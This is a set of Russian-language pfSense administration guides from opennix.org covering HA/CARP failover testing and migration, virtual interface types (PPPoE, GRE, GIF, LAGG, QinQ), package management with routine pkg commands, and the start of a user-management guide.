4. Дождаться завершения обновления и перезагрузки
5. Убедиться, что primary запустился корректно (не выводить из maintenance mode)
6. Перевести secondary в maintenance mode на secondary-узле (трафик вернётся на обновлённый primary)
7. Обновить secondary-узел
8. Дождаться завершения обновления и перезагрузки
9. Вывести оба узла из maintenance mode
10. Проверить синхронизацию и статус CARP

Обновление secondary выполняется вторым, поскольку XMLRPC-синхронизация может быть несовместима между разными версиями pfSense. После обновления обоих узлов до одинаковой версии синхронизация восстанавливается.

## Тестирование Failover

Регулярное тестирование failover - обязательная практика для production-кластеров. Тестирование следует выполнять при вводе кластера в эксплуатацию и после каждого значимого изменения конфигурации.

### Тест 1: Плановое переключение

Цель: проверить работу maintenance mode.

1. Зафиксировать текущее состояние CARP VIP на обоих узлах
2. Перевести primary в maintenance mode
3. Проверить доступность сервисов (HTTP, DNS, VPN)
4. Вывести primary из maintenance mode
5. Убедиться, что primary вернул статус MASTER

### Тест 2: Отказ интерфейса

Цель: проверить автоматическое переключение при потере связи.

1. Отключить сетевой кабель WAN на primary-узле
2. Наблюдать за переключением CARP VIP на WAN
3. Проверить, что LAN CARP VIP также переключился (при настройке peer IP monitoring)
4. Подключить кабель обратно
5. Убедиться, что primary вернул статус MASTER (preemption)

> **Внимание**:
>
> При тестировании отключения интерфейса поведение зависит от настройки CARP. По умолчанию pfSense переключает только CARP VIP на затронутом интерфейсе. Для переключения всех VIP при отказе одного интерфейса необходимо настроить IP monitoring через System > High Avail. Sync, указав IP-адреса для мониторинга (например, адрес шлюза провайдера).

### Тест 3: Полный отказ узла

Цель: проверить поведение при выключении primary-узла.

1. Выключить primary-узел (power off)
2. Дождаться переключения всех CARP VIP на secondary (~3 секунды)
3. Проверить доступность всех сервисов с secondary
4. Проверить сохранность существующих TCP-сессий
5. Включить primary обратно
6. Убедиться, что primary вернул статус MASTER и синхронизация восстановилась

### Тест 4: Восстановление IPsec/OpenVPN

Цель: проверить восстановление VPN-туннелей после failover.

1. Установить IPsec и/или OpenVPN-соединения через кластер
2. Выполнить плановое переключение на secondary
3. Зафиксировать время восстановления каждого туннеля
4. Проверить прохождение трафика через восстановленные туннели
5. Вернуть primary в активное состояние

### Документирование результатов

Результаты каждого теста следует документировать в формате:

| Параметр | Значение |
|---|---|
| Дата теста | YYYY-MM-DD |
| Тип теста | Плановое переключение / Отказ интерфейса / Полный отказ |
| Время переключения | X секунд |
| Сервисы затронуты | HTTP, DNS, VPN и т.д. |
| TCP-сессии сохранены | Да / Нет |
| VPN восстановлены | Да / Нет (время восстановления) |
| Проблемы обнаружены | Описание |

## Мониторинг состояния HA

Постоянный мониторинг состояния кластера позволяет обнаружить проблемы до их воздействия на доступность сервисов.

### Встроенные средства мониторинга

| Инструмент | Расположение | Что показывает |
|---|---|---|
| CARP Status | Status > CARP (failover) | Статус MASTER/BACKUP для каждого VIP |
| System Logs | Status > System Logs | Ошибки синхронизации, CARP-события |
| States | Diagnostics > States | Текущее количество состояний |
| pfTop | Diagnostics > pfTop | Активные соединения в реальном времени |

### Внешний мониторинг

Для production-кластеров рекомендуется настроить внешний мониторинг:

- **SNMP**: pfSense поддерживает SNMP для мониторинга через Zabbix, Nagios или аналогичные системы. Мониторить следует статус CARP VIP, количество состояний, загрузку CPU и памяти.
- **Syslog**: настроить отправку журналов на удалённый syslog-сервер для сохранения истории событий CARP и синхронизации.
- **Wazuh**: при интеграции pfSense с Wazuh журналы CARP-событий могут быть обработаны правилами детекции для генерации алертов при незапланированных переключениях.

### Ключевые метрики

| Метрика | Нормальное значение | Алерт при |
|---|---|---|
| Статус CARP VIP | MASTER на primary, BACKUP на secondary | Любое изменение без планового переключения |
| Разница в количестве состояний | Менее 1% | Более 5% расхождения |
| Время последней XMLRPC-синхронизации | Не более 5 минут назад | Более 15 минут без синхронизации |
| Ошибки синхронизации | 0 | Любая ошибка |

## Ограничения HA в pfSense

При проектировании HA-кластера необходимо учитывать архитектурные ограничения платформы.

### Active/Active не поддерживается

pfSense официально поддерживает только active/passive конфигурацию. Режим active/active (когда оба узла одновременно обрабатывают трафик с балансировкой нагрузки) не реализован на уровне CARP и pfsync. Попытки организовать active/active через ручное распределение CARP VIP между узлами приводят к несимметричной маршрутизации и потере состояний.

### Ограничение двух узлов

Официально поддерживаются кластеры только из двух узлов. Технически возможно добавить третий узел с более высоким skew, однако XMLRPC-синхронизация поддерживает указание только одного peer. Для трёхузловых конфигураций потребуется ручная синхронизация конфигурации на третий узел.

### Зависимость от Layer 2

CARP в режиме multicast требует, чтобы оба узла находились в одном broadcast-домене для каждого интерфейса с CARP VIP. Это ограничивает географическое распределение кластера - узлы не могут быть размещены в разных дата-центрах без организации L2-связности (например, через VXLAN или MPLS L2VPN).

### Split-brain

При потере связности между узлами (отказ sync-интерфейса) оба узла могут перейти в состояние MASTER. Это приводит к:

- Дублированию DHCP-адресов (если пулы не разделены)
- Конфликту MAC-адресов CARP VIP в сетевом сегменте
- Несогласованности таблиц состояний

Для минимизации риска split-brain рекомендуется использовать отдельный физический линк для sync-интерфейса и мониторить его доступность.

## Миграция с других платформ

### Миграция с Cisco ASA Failover

При переходе с Cisco ASA Active/Standby failover на pfSense HA необходимо учитывать различия в архитектуре:

| Функция | Cisco ASA | pfSense |
|---|---|---|
| Протокол failover | Proprietary (LAN-based failover) | CARP (OpenBSD) |
| Синхронизация состояний | Stateful failover link | pfsync |
| Синхронизация конфигурации | Automatic config replication | XMLRPC |
| Active/Active | Поддерживается (с контекстами) | Не поддерживается |
| Выделенный failover-линк | Failover interface + State link | Sync interface (один для обоих) |
| Мониторинг интерфейсов | Встроенный interface monitoring | IP monitoring через CARP |
| Preemption | Настраиваемый | Автоматический (по skew) |

Порядок миграции:

1. Документировать текущую конфигурацию ASA failover (show failover, show running-config)
2. Спланировать адресацию для pfSense HA (три адреса на интерфейс)
3. Настроить pfSense primary и secondary как описано в документации
4. Перенести правила файрвола, NAT и VPN на primary-узел
5. Настроить XMLRPC-синхронизацию
6. Протестировать failover до переключения production-трафика
7. Переключить production-трафик на pfSense HA

### Миграция с FortiGate HA Cluster

FortiGate поддерживает как active/passive, так и active/active HA. При миграции на pfSense необходимо учитывать:

| Функция | FortiGate | pfSense |
|---|---|---|
| HA-протокол | FGCP (FortiGate Clustering Protocol) | CARP |
| Session sync | HA heartbeat link | pfsync |
| Config sync | Автоматическая | XMLRPC |
| Active/Active | Поддерживается | Не поддерживается |
| Кластер > 2 узлов | До 4 узлов | Только 2 узла |
| Session pickup | Для TCP, UDP, ICMP | Через pfsync (все протоколы pf) |
| Heartbeat interface | Выделенный HA link | Sync interface |
| Virtual MAC | 00:09:0f:09:xx:xx | 00:00:5e:00:01:xx (CARP) |

При миграции с FortiGate active/active конфигурации необходимо перепроектировать архитектуру под active/passive модель pfSense. Это может потребовать изменения балансировки трафика на уровне вышестоящего маршрутизатора или коммутатора.

Порядок миграции аналогичен переходу с Cisco ASA: документация, планирование, настройка, тестирование, переключение.

## Восстановление после аварии

При полном отказе обоих узлов кластера (например, при потере электропитания в серверной) процедура восстановления зависит от наличия резервных копий конфигурации.

### Восстановление с резервной копией

1. Включить оба узла
2. Дождаться загрузки pfSense на обоих узлах
3. Проверить статус CARP - при корректной конфигурации primary должен стать MASTER
4. Проверить синхронизацию pfsync и XMLRPC
5. Если конфигурация повреждена, восстановить из backup через **Diagnostics > Backup & Restore**

### Восстановление при потере одного узла

1. Backup-узел автоматически принимает роль MASTER
2. Заменить неисправный узел
3. Установить pfSense и восстановить базовую конфигурацию (hostname, IP-адреса, sync-интерфейс)
4. Настроить XMLRPC на primary для синхронизации с новым secondary
5. Инициировать полную синхронизацию через **System > High Avail. Sync** (нажать Save)
6. Проверить статус CARP и таблицу состояний

## Связанные разделы

- [CARP и Virtual IPs](/docs/pfsense/high-availability/pfsense-carp-setup/) - настройка CARP VIP, VHID и Advertising Frequency
- [Синхронизация конфигурации](/docs/pfsense/high-availability/pfsense-config-sync/) - детальная настройка pfsync и XMLRPC
- [VPN в pfSense](/docs/pfsense/vpn/) - конфигурация IPsec и OpenVPN для работы с CARP VIP
- [NAT в pfSense](/docs/pfsense/nat/) - настройка исходящего NAT с CARP VIP в multi-WAN конфигурации
- [Multi-WAN](/docs/pfsense/multi-wan/) - gateway groups и policy routing в контексте HA


---

# Типы интерфейсов pfSense - PPPoE, GRE, GIF, LAGG, QinQ

Source: https://opennix.org/docs/pfsense/interfaces/pfsense-interface-types/


pfSense предоставляет набор виртуальных типов интерфейсов для решения различных сетевых задач: от подключения к провайдеру через PPPoE до объединения физических каналов в отказоустойчивую группу через LAGG. Каждый виртуальный интерфейс после назначения в системе функционирует аналогично физическому - получает собственный IP-адрес, набор правил файрвола и доступ к сетевым сервисам. В данном руководстве рассматривается конфигурация каждого типа интерфейса, типичные сценарии применения и устранение неполадок.

## PPPoE

PPPoE (Point-to-Point Protocol over Ethernet) используется интернет-провайдерами для аутентификации абонентов и назначения сетевых параметров. Протокол инкапсулирует PPP-кадры в Ethernet, добавляя заголовок PPPoE к каждому пакету.

### Настройка PPPoE

Для создания PPPoE-подключения перейдите в **Interfaces > Assignments** на вкладку **PPPs**, нажмите **Add** и выберите тип **PPPoE**.

Основные параметры:

- **Link Interface** - физический интерфейс, через который устанавливается PPPoE-соединение (обычно WAN)
- **Username** - имя пользователя, предоставленное провайдером (обычно в формате email, например `user@isp.com`)
- **Password** - пароль для аутентификации
- **Service Name** - имя сервиса провайдера (большинство провайдеров оставляют пустым). Некоторые провайдеры требуют отправки значения NULL вместо пустой строки

После создания PPP-интерфейса назначьте его на WAN через **Interfaces > Assignments** и выберите тип конфигурации IPv4 - PPPoE.

### MTU и MSS Clamping

PPPoE добавляет 8 байт заголовка к каждому пакету, уменьшая эффективный MTU с 1500 до 1492 байт. Это может приводить к проблемам с фрагментацией и потере крупных пакетов, особенно при прохождении через маршрутизаторы, блокирующие ICMP-сообщения Path MTU Discovery.

pfSense автоматически применяет TCP MSS Clamping - механизм корректировки поля Maximum Segment Size в TCP SYN-пакетах. MSS Clamping уменьшает запрашиваемый размер сегмента до значения, совместимого с MTU интерфейса, предотвращая фрагментацию на уровне TCP.

Параметр **Force MTU** позволяет принудительно задать MTU, отличное от согласованного с провайдером. Это нарушает RFC 1661 и может привести к разрыву соединения - используйте только при явной необходимости.

### Бэкенд PPPoE

pfSense поддерживает два бэкенда для PPPoE:

- **MPD** - бэкенд по умолчанию, работает в пользовательском пространстве
- **if_pppoe** - ядерный бэкенд, обеспечивающий более высокую производительность за счёт обработки PPPoE непосредственно в ядре

Для высокоскоростных подключений рекомендуется использовать `if_pppoe`, так как MPD может создавать узкое место из-за обработки пакетов в одной очереди.

## GRE-туннели

GRE (Generic Routing Encapsulation) создаёт нешифрованный туннель между двумя конечными точками, инкапсулируя пакеты одного протокола внутри другого. GRE позволяет передавать IPv4 и IPv6 трафик одновременно через один туннель. Протокол разработан Cisco и широко поддерживается сетевым оборудованием различных производителей.

### Создание GRE-туннеля

Для создания GRE-туннеля перейдите в **Interfaces > Assignments** на вкладку **GRE** и нажмите **Add**.

| Параметр | Описание |
|---|---|
| Parent Interface | Физический интерфейс (обычно WAN), через который устанавливается туннель |
| Remote Address | Маршрутизируемый внешний IP-адрес удалённого устройства |
| Local Tunnel Address | Внутренний IPv4-адрес туннеля на локальной стороне |
| Remote Tunnel Address | Внутренний IPv4-адрес туннеля на удалённой стороне |
| Tunnel Subnet | Маска подсети для туннельных адресов (обычно /30) |

После создания назначьте GRE-интерфейс через **Interfaces > Assignments** и включите его. Система автоматически создаёт динамический шлюз для маршрутизации трафика через туннель.

### Маршрутизация через GRE

Для направления трафика удалённых подсетей через GRE-туннель добавьте статические маршруты в **System > Routing > Static Routes**, указав динамический шлюз GRE-туннеля в качестве шлюза. Не забудьте создать правила [файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) на GRE-интерфейсе для разрешения необходимого трафика.

## GIF-туннели

GIF (Generic tunnel InterFace) аналогичен GRE, но обладает рядом отличий. GIF поддерживает туннелирование IPv6 через IPv4 и наоборот, что делает его основным инструментом для получения IPv6-связности через туннельных брокеров (например, Hurricane Electric). В отличие от GRE, GIF не может передавать IPv4 и IPv6 одновременно через один туннель, но поддерживает мостовое соединение (bridging) на уровне L2.

### Создание GIF-туннеля

Настройка выполняется в **Interfaces > Assignments** на вкладке **GIF**. Параметры аналогичны GRE:

- **Parent Interface** - физический интерфейс для туннеля
- **Remote Address** - внешний адрес удалённой стороны
- **Local Tunnel Address** - внутренний адрес туннеля (для IPv6 обычно /64)
- **Remote Tunnel Address** - адрес удалённой стороны туннеля

### IPv6 через туннельного брокера

Для получения IPv6-связности через Hurricane Electric:

1. Зарегистрируйтесь на tunnelbroker.net и создайте туннель
2. Создайте GIF-интерфейс с параметрами, предоставленными брокером
3. Назначьте GIF-интерфейс и настройте IPv6-адрес
4. Добавьте маршрут по умолчанию для IPv6 через шлюз туннеля

## LAGG (Link Aggregation)

LAGG объединяет несколько физических сетевых интерфейсов в один логический канал. В зависимости от выбранного протокола LAGG обеспечивает увеличение пропускной способности, отказоустойчивость или комбинацию обоих преимуществ.

### Поддерживаемые протоколы

| Протокол | Описание | Требует настройки коммутатора |
|---|---|---|
| LACP | IEEE 802.3ad, согласование с коммутатором, отказоустойчивость и балансировка | Да |
| Failover | Весь трафик через основной интерфейс, резервный активируется при отказе | Нет |
| Load Balance | Статическая балансировка исходящего трафика без мониторинга состояния | Да |
| Round Robin | Последовательная отправка через интерфейсы | Да |
| None | Отключает передачу трафика, сохраняя логический интерфейс | - |

LACP является наиболее распространённым протоколом, обеспечивающим как отказоустойчивость, так и увеличение пропускной способности. Failover не требует поддержки со стороны коммутатора и подходит для сценариев, где важна только отказоустойчивость.

### Создание LAGG

Перейдите в **Interfaces > Assignments** на вкладку **LAGGs** и нажмите **Add**:

1. Выберите интерфейсы-участники в поле **Member Interfaces** (интерфейсы не должны быть назначены в системе)
2. Выберите протокол в поле **LAGG Protocol**
3. Для LACP и Load Balance выберите алгоритм хэширования
4. Добавьте описание и нажмите **Save**

После создания назначьте LAGG-интерфейс через **Interfaces > Assignments**. LAGG-интерфейс можно использовать как носитель [VLAN](/docs/pfsense/vlans/pfsense-vlan-setup/) - создавайте VLAN поверх LAGG для сегментации с агрегацией каналов.

### Требования и ограничения

- Скорость и MTU всех участников LAGG должны совпадать
- Все порты должны работать в режиме full-duplex
- Один поток (между двумя хостами) не превысит пропускную способность одного участника, так как хэширование распределяет потоки, а не пакеты
- LAGG несовместим с altq (шейпер трафика). Для ограничения трафика на LAGG используйте Limiters или создавайте VLAN поверх LAGG
- LACP требует стекируемых коммутаторов для работы с несколькими коммутаторами

## QinQ (802.1ad)

QinQ (Q-in-Q, двойное тегирование) добавляет второй тег VLAN к уже тегированному кадру. Внешний тег (S-Tag, EtherType 0x88a8) идентифицирует сервисный VLAN провайдера, внутренний тег (C-Tag, EtherType 0x8100) сохраняет оригинальный VLAN клиента. Это позволяет транспортировать множество клиентских VLAN через единый сервисный канал провайдера без конфликтов идентификаторов.

### Сценарии применения

- Транспорт VLAN между площадками через канал провайдера, не поддерживающий 802.1Q-транки
- Изоляция клиентских VLAN в мультитенантных средах
- Расширение пространства VLAN за пределы 4094 идентификаторов

### Настройка QinQ

Перейдите в **Interfaces > Assignments** на вкладку **QinQ** и нажмите **Add**:

- **Parent Interface** - физический интерфейс для QinQ-трафика
- **First level tag** - идентификатор внешнего (сервисного) VLAN
- **Member VLANs** - идентификаторы внутренних VLAN (можно указывать диапазоны, например 100-150)

Автоматическая группа интерфейсов QinQ создаётся системой для упрощения управления правилами файрвола при большом количестве тегов. Эту группу нельзя редактировать вручную.

## Беспроводные интерфейсы

pfSense поддерживает беспроводные интерфейсы при наличии совместимого Wi-Fi адаптера. Беспроводной интерфейс создаётся в **Interfaces > Assignments > Wireless** и может работать в режимах Access Point (hostap) или Infrastructure (BSS/клиент). После назначения беспроводной интерфейс настраивается аналогично проводному: IP-адрес, DHCP, правила файрвола.

Для изоляции беспроводных клиентов рекомендуется размещать беспроводной интерфейс в отдельном [VLAN](/docs/pfsense/vlans/pfsense-vlan-setup/) или использовать [мостовое соединение](/docs/pfsense/bridging/pfsense-bridge-setup/) с фильтрацией. Для авторизации гостевых пользователей подключите [Captive Portal](/docs/pfsense/captive-portal/pfsense-captive-portal-setup/) к интерфейсу беспроводной сети.

## Группы интерфейсов

Группы интерфейсов (Interface Groups) объединяют несколько интерфейсов под одним именем для применения общих правил файрвола. Вместо создания идентичных правил на каждом интерфейсе, правило создаётся на группе и применяется ко всем её участникам.

Для создания группы перейдите в **Interfaces > Assignments > Interface Groups**, нажмите **Add**, укажите имя группы и выберите участников. После создания группа появляется как отдельная вкладка в **Firewall > Rules**.

Правила группы обрабатываются перед правилами отдельных интерфейсов. Это важно учитывать при планировании политики безопасности - правило группы может перехватить трафик до того, как он достигнет правил конкретного интерфейса.

## Назначение и конфигурация интерфейсов

Все типы виртуальных интерфейсов (PPPoE, GRE, GIF, LAGG, QinQ) после создания необходимо назначить через **Interfaces > Assignments**:

1. В выпадающем списке **Available network ports** выберите созданный виртуальный интерфейс
2. Нажмите **Add** для назначения
3. Перейдите на страницу назначенного интерфейса (**Interfaces > [OPTn]**)
4. Включите интерфейс и настройте сетевые параметры

После назначения интерфейс получает системное имя (OPT1, OPT2 и т.д.), которое можно заменить на описательное в поле **Description**. Это имя используется в правилах файрвола, NAT и маршрутизации.

## Устранение неполадок

### PPPoE не подключается

- Проверьте правильность учётных данных (имя пользователя и пароль)
- Убедитесь, что физический интерфейс WAN активен и подключён к модему провайдера
- Проверьте журналы PPPoE в **Status > System Logs > PPP** на предмет ошибок аутентификации
- Попробуйте указать Service Name, если провайдер его требует
- При проблемах с производительностью переключите бэкенд на `if_pppoe`

### GRE/GIF туннель не работает

- Убедитесь, что внешние адреса обеих сторон доступны друг для друга
- Проверьте правила файрвола на WAN - протокол GRE (IP Protocol 47) или IP-in-IP (Protocol 4 для GIF) должен быть разрешён
- Проверьте, что туннельные адреса не конфликтуют с существующими подсетями
- Убедитесь, что статические маршруты указывают на правильный шлюз туннеля

### LAGG не агрегирует каналы

- Проверьте, что LACP настроен на коммутаторе для соответствующих портов
- Убедитесь в совпадении скорости и дуплекса на всех участниках
- Проверьте статус LAGG в **Interfaces > LAGG > [имя]** - все участники должны быть в состоянии Active
- Для отладки LACP используйте **Diagnostics > Command Prompt** с командой `ifconfig lagg0`

### QinQ-трафик не проходит

- Убедитесь, что промежуточное оборудование не удаляет внешний тег
- Проверьте, что родительский интерфейс передаёт кадры с увеличенным MTU (стандартный Ethernet MTU 1500 + 4 байта на каждый тег)
- Убедитесь, что коммутаторы на пути поддерживают jumbo frames или увеличенный размер кадра


---

# Управление пакетами pfSense - установка и обновление

Source: https://opennix.org/docs/pfsense/packages/pfsense-package-management/


Менеджер пакетов pfSense предоставляет централизованный интерфейс для установки, обновления и удаления дополнительных компонентов системы. Все операции выполняются через веб-интерфейс в разделе **System > Package Manager**, который взаимодействует с официальным репозиторием Netgate. Пакеты расширяют функциональность файрвола без необходимости модификации базовой системы - каждый пакет после установки получает собственную страницу конфигурации в веб-интерфейсе и управляется как стандартный сервис pfSense.

## Доступ к менеджеру пакетов

Менеджер пакетов расположен в **System > Package Manager** и содержит две основные вкладки:

| Вкладка | Назначение |
|---|---|
| **Installed Packages** | Список установленных пакетов с информацией о версии и доступных обновлениях |
| **Available Packages** | Каталог всех доступных пакетов из официального репозитория |

На вкладке **Available Packages** пакеты отображаются в алфавитном порядке с указанием названия, текущей версии и краткого описания. Поле поиска в верхней части страницы позволяет быстро найти нужный пакет по названию или ключевым словам.

## Установка пакетов

Для установки нового пакета необходимо:

1. Перейти в **System > Package Manager > Available Packages**
2. Найти требуемый пакет через поиск или прокрутку списка
3. Нажать кнопку **Install** напротив пакета
4. Подтвердить установку в диалоговом окне

После подтверждения pfSense загружает пакет и его зависимости из репозитория, выполняет установку и отображает прогресс в реальном времени. По завершении установки в меню веб-интерфейса появляется новый пункт для конфигурации пакета.

> **Внимание**:
>
> Для успешной загрузки пакетов pfSense требуется доступ к DNS-серверам и интернету через WAN-интерфейс. При отсутствии разрешения DNS или маршрута до репозитория установка завершится ошибкой.

### Зависимости пакетов

Некоторые пакеты требуют наличия дополнительных библиотек или компонентов для работы. Менеджер пакетов автоматически разрешает зависимости и устанавливает все необходимые компоненты вместе с основным пакетом. Зависимости отмечены специальным значком в интерфейсе менеджера.

При удалении пакета зависимости, не используемые другими пакетами, удаляются автоматически. Однако если зависимость является общей для нескольких пакетов, она сохраняется до удаления последнего зависимого пакета.

## Обновление пакетов

Проверка наличия обновлений выполняется на вкладке **Installed Packages**. Если для установленного пакета доступна новая версия, рядом с текущей версией отображается информация о доступном обновлении.

Для обновления пакета:

1. Перейти в **System > Package Manager > Installed Packages**
2. Найти пакет с доступным обновлением
3. Нажать значок обновления (двойные стрелки)
4. Подтвердить обновление

### Переустановка пакета

При возникновении проблем с работой пакета может потребоваться его переустановка без изменения версии. Для этого используется значок переустановки рядом с пакетом на вкладке **Installed Packages**. Переустановка сохраняет текущую конфигурацию пакета.

### Обновление при обновлении системы

При обновлении pfSense до новой версии все установленные пакеты переустанавливаются автоматически. Однако не все пакеты могут быть совместимы с новой версией системы на момент обновления. Рекомендуется проверять совместимость пакетов перед обновлением pfSense и быть готовым к временной недоступности некоторых пакетов.

## Удаление пакетов

Для удаления пакета:

1. Перейти в **System > Package Manager > Installed Packages**
2. Нажать значок удаления (корзина) напротив пакета
3. Подтвердить удаление

При удалении пакета его конфигурация удаляется из системы. Перед удалением рекомендуется сделать резервную копию конфигурации pfSense через **Diagnostics > Backup & Restore** на случай необходимости восстановления настроек.

> **Внимание**:
>
> Удаление пакета необратимо удаляет его конфигурацию. Если пакет будет установлен повторно, настройку потребуется выполнить заново. Сохраните резервную копию перед удалением.

## Категории доступных пакетов

Официальный репозиторий pfSense содержит более 60 пакетов, разделённых по назначению:

### Безопасность и обнаружение угроз

| Пакет | Описание |
|---|---|
| **Suricata** | Система обнаружения и предотвращения вторжений (IDS/IPS) |
| **Snort** | Альтернативная IDS/IPS на основе сигнатурного анализа |
| **pfBlockerNG** | Блокировка IP-адресов и DNS-запросов по спискам угроз |
| **ClamAV** | Антивирусный сканер для проксируемого трафика |

### Прокси и балансировка нагрузки

| Пакет | Описание |
|---|---|
| **HAProxy** | Обратный прокси и балансировщик нагрузки для TCP/HTTP |
| **Squid** | Кэширующий прокси-сервер для HTTP/HTTPS |
| **Lightsquid** | Анализатор логов прокси Squid |

### VPN и удалённый доступ

| Пакет | Описание |
|---|---|
| **WireGuard** | Современный VPN-протокол с минимальными накладными расходами |
| **Tinc** | Mesh-VPN для построения распределённых сетей |
| **FreeRADIUS** | Сервер аутентификации RADIUS для VPN и Wi-Fi |

### Сетевые сервисы

| Пакет | Описание |
|---|---|
| **BIND** | Полнофункциональный DNS-сервер (альтернатива Unbound) |
| **FRR** | Пакет динамической маршрутизации (BGP, OSPF, IS-IS) |
| **NUT** | Мониторинг источников бесперебойного питания |

### Мониторинг и диагностика

| Пакет | Описание |
|---|---|
| **ntopng** | Анализатор сетевого трафика с веб-интерфейсом |
| **Darkstat** | Легковесный монитор сетевого трафика |
| **iperf** | Инструмент тестирования пропускной способности сети |
| **nmap** | Сканер сетей и аудит безопасности |

## Управление пакетами из командной строки

В случаях, когда веб-интерфейс недоступен, операции с пакетами можно выполнять через командную строку (SSH или консоль).

### Просмотр установленных пакетов

```bash
pkg info | grep pfSense-pkg
```

### Переустановка пакета

```bash
pkg install -f pfSense-pkg-<имя_пакета>
```

### Обновление всех пакетов

```bash
pkg upgrade
```

> **Внимание**:
>
> Управление пакетами из командной строки следует использовать только при невозможности работы через веб-интерфейс. Команда `pkg` не выполняет специфичные для pfSense действия по интеграции пакета в веб-интерфейс, что может привести к несогласованному состоянию системы.

## Резервное копирование конфигурации пакетов

Конфигурация всех установленных пакетов хранится в основном конфигурационном файле pfSense (`/cf/conf/config.xml`). При создании резервной копии через **Diagnostics > Backup & Restore** настройки пакетов включаются автоматически.

При восстановлении конфигурации на чистую систему pfSense:

1. Восстановить конфигурацию через **Diagnostics > Backup & Restore**
2. Перейти в **System > Package Manager > Installed Packages**
3. Переустановить все ранее установленные пакеты - pfSense восстановит их конфигурацию из резервной копии

### AutoConfigBackup

Для автоматического резервного копирования конфигурации (включая настройки пакетов) можно использовать встроенную функцию **AutoConfigBackup** (**Services > Auto Config Backup**). Сервис автоматически сохраняет конфигурацию при каждом изменении и хранит историю версий.

## Диагностика проблем

### Пакет не устанавливается

1. Проверить доступность DNS - **Diagnostics > DNS Lookup**, ввести `pkg.pfsense.org`
2. Проверить наличие маршрута до интернета - **Diagnostics > Ping**, адрес `8.8.8.8`
3. Убедиться, что правила файрвола на WAN-интерфейсе не блокируют исходящий трафик
4. Проверить свободное место на диске - **Diagnostics > Command Prompt**, команда `df -h`
5. Проверить системные логи: **Status > System Logs > System > General**

### Ошибка зависимостей

При появлении ошибок зависимостей выполнить обновление базы данных пакетов:

1. Перейти в **Diagnostics > Command Prompt**
2. Выполнить команду `pkg update -f`
3. Повторить установку пакета

### Пакет установлен, но не отображается в меню

1. Очистить кэш браузера и перезагрузить страницу
2. Переустановить пакет через **System > Package Manager > Installed Packages**
3. При сохранении проблемы перезагрузить pfSense через **Diagnostics > Reboot**

### Повреждённая база данных пакетов

При серьёзных проблемах с менеджером пакетов может потребоваться восстановление базы данных:

```bash
pkg-static clean -ay
pkg-static install -fy pkg
pkg-static update -f
```

После выполнения этих команд перезагрузить pfSense и повторить установку пакетов.

### Проблемы с репозиторием

При ошибках доступа к репозиторию проверить:

1. Корректность DNS-настроек в **System > General Setup > DNS Servers**
2. Наличие шлюза по умолчанию в **System > Routing > Gateways**
3. Отсутствие блокирующих правил для исходящего HTTPS-трафика (порт 443)
4. Состояние VPN-туннелей, если pfSense подключён к интернету через VPN

## Рекомендации по управлению пакетами

### Минимизация количества пакетов

Каждый установленный пакет увеличивает потребление ресурсов и расширяет поверхность атаки. Устанавливайте только те пакеты, которые действительно необходимы для текущего развёртывания. Периодически пересматривайте список установленных пакетов и удаляйте неиспользуемые.

### Планирование обновлений

Обновление пакетов может временно прервать работу сервисов. Планируйте обновления на периоды минимальной нагрузки и предварительно создавайте резервную копию конфигурации. После обновления проверяйте работоспособность каждого обновлённого пакета.

### Совместимость версий

При обновлении pfSense до новой мажорной версии не все пакеты могут быть сразу доступны в обновлённом репозитории. Ознакомьтесь с примечаниями к выпуску и проверьте совместимость критически важных пакетов перед обновлением системы.

### Мониторинг состояния

Регулярно проверяйте вкладку **Installed Packages** для отслеживания доступных обновлений. Обновления пакетов часто содержат исправления безопасности и улучшения производительности.

## Связанные разделы

- [Suricata IDS/IPS](/docs/pfsense/packages/pfsense-suricata/) - установка и настройка системы обнаружения вторжений
- [pfBlockerNG](/docs/pfsense/packages/pfsense-pfblockerng/) - блокировка IP-адресов и DNS-запросов
- [HAProxy](/docs/pfsense/packages/pfsense-haproxy/) - обратный прокси и балансировка нагрузки
- [Резервное копирование pfSense](/docs/pfsense/backup/pfsense-backup-recovery/) - полное руководство по резервному копированию и восстановлению


---

# Управление пользователями pfSense - локальные, LDAP, RADIUS

Source: https://opennix.org/docs/pfsense/users/pfsense-user-management/


User Manager (System > User Manager) - централизованная система управления учётными записями pfSense. Через него создаются локальные пользователи, формируются группы с определёнными привилегиями и настраиваются подключения к внешним серверам аутентификации. Учётные записи используются не только для доступа к веб-интерфейсу, но и для аутентификации в VPN-сервисах, Captive Portal и при SSH-подключении к консоли межсетевого экрана.

## Учётная запись администратора

При установке pfSense создаётся учётная запись `admin` с полными привилегиями доступа ко всем функциям системы. Эта учётная запись не может быть удалена и всегда сохраняет полный набор привилегий.

### Рекомендации по безопасности учётной записи admin

| Рекомендация | Описание |
|---|---|
| Сменить пароль по умолчанию | Первое действие после установки - изменение пароля admin |
| Использовать сложный пароль | Минимум 12 символов, включая буквы, цифры и специальные символы |
| Создать именные учётные записи | Для повседневной работы использовать персональные учётные записи |
| Ограничить доступ к GUI | Настроить правила файрвола для ограничения доступа к веб-интерфейсу по IP-адресам |

> **Внимание**:
>
> Использование общей учётной записи admin несколькими администраторами затрудняет аудит действий. Необходимо создавать именные учётные записи для каждого администратора.

## Создание локальных пользователей

Локальная база пользователей хранится в конфигурации pfSense (config.xml) и не зависит от внешних серверов аутентификации.

### Процедура создания пользователя

1. Перейти в **System > User Manager**, вкладка **Users**
2. Нажать **Add** для создания нового пользователя
3. Заполнить параметры:

| Параметр | Описание |
|---|---|
| Disabled | Отключить учётную запись без удаления |
| Username | Имя пользователя (латинские буквы, цифры, дефис, точка) |
| Password | Пароль учётной записи |
| Full name | Полное имя пользователя для идентификации |
| Expiration date | Дата автоматической деактивации учётной записи |
| Custom Settings | Индивидуальные настройки интерфейса (тема, язык) |
| Group membership | Принадлежность к группам |
| Certificate | Привязка пользовательского сертификата |
| Authorized keys | SSH-ключи для аутентификации при консольном доступе |
| IPsec Pre-Shared Key | Предварительно согласованный ключ для IPsec VPN |

4. Нажать **Save**

### Дата истечения учётной записи

Поле **Expiration date** позволяет автоматически деактивировать учётную запись по истечении заданного срока. Это полезно для:

- Временных учётных записей подрядчиков
- Учётных записей с ограниченным сроком действия (стажёры, аудиторы)
- Обеспечения соответствия политикам безопасности, требующим периодической ревалидации доступа

После истечения срока действия пользователь не сможет аутентифицироваться ни в одном сервисе pfSense, использующем локальную базу.

## Группы и привилегии

Группы объединяют пользователей с одинаковыми правами доступа. Привилегии назначаются на уровне группы и наследуются всеми её участниками. Дополнительные привилегии могут быть назначены индивидуально конкретному пользователю.

### Предустановленная группа admins

